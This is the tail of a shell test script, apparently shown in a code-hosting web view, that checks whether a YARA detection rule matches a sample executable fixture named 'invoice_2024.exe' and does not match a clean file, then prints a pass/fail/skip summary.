echo "== 8. YARA rule tests against PE fixture (optional)"
|
||||
if { have yara || pyhas yara; } && [ -f tests/fixtures/yara/fixture.yar ]; then
|
||||
if pyhas yara; then
|
||||
o=$($PY - tests/fixtures/yara/fixture.yar tests/out/invoice_2024.exe tests/extract_rules.py <<'EOF'
|
||||
import yara, sys
|
||||
r = yara.compile(sys.argv[1])
|
||||
print("MATCH" if r.match(sys.argv[2]) else "NOMATCH", "sample")
|
||||
print("MATCH" if r.match(sys.argv[3]) else "NOMATCH", "clean")
|
||||
EOF
|
||||
)
|
||||
assert "YARA matches sample" "MATCH sample" "$o"
|
||||
assert "YARA clean no-match" "NOMATCH clean" "$o"
|
||||
elif have yara; then
|
||||
yara -w tests/fixtures/yara/fixture.yar tests/out/invoice_2024.exe | grep -q fixture && ok "yara matches sample" || bad "yara sample"
|
||||
fi
|
||||
else
|
||||
skipm "yara (pip install yara-python)"
|
||||
fi
|
||||
|
||||
echo
|
||||
echo "== summary: $pass passed, $fail failed, $skip skipped"
|
||||
[ "$fail" -eq 0 ]
|
||||
Reference in New Issue
Block a user